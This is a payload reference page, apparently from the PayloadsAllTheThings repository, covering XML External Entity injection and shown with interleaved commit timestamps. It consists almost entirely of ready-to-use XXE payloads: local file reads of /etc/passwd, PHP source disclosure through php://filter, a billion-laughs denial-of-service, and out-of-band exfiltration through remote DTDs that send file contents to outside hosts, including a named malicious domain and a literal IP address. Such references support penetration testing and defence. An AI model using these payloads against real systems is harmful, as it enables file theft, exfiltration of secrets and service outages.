PayloadsAllTheThings/XXE injections/README.md

102 lines
2.4 KiB
Markdown
Raw Normal View History

2016-10-18 07:06:10 +00:00
# XML External Entity
2017-06-28 19:43:30 +00:00
An XML External Entity attack is a type of attack against an application that parses XML input
2016-10-18 08:01:56 +00:00
2016-10-18 07:06:10 +00:00
## Exploit
2016-10-18 08:01:56 +00:00
Basic Test
```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
```
2016-10-18 07:06:10 +00:00
Classic XXE
2016-10-18 08:01:56 +00:00
```
2016-10-18 07:06:10 +00:00
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
2016-10-18 07:06:10 +00:00
]>
<data>&file;</data>
2016-10-18 08:01:56 +00:00
```
2016-10-18 07:06:10 +00:00
Classic XXE Base64 encoded
```
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,PCFF...Cg=="> %init; ]><foo/>
```
PHP Wrapper inside XXE
```
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
2017-06-28 19:43:30 +00:00
</contacts>
```
2016-10-18 07:06:10 +00:00
Deny Of Service - Billion Laugh Attack
```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
Blind XXE
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
```
2016-10-18 07:06:10 +00:00
XXE OOB Attack (Yunusov, 2013)
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```
2017-06-28 19:43:30 +00:00
XXE OOB with DTD and PHP filter
```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://92.222.81.2/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
```
2016-10-18 07:06:10 +00:00
2016-10-18 08:01:56 +00:00
## Thanks to
2016-12-20 18:46:06 +00:00
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
2017-06-28 19:43:30 +00:00
* http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html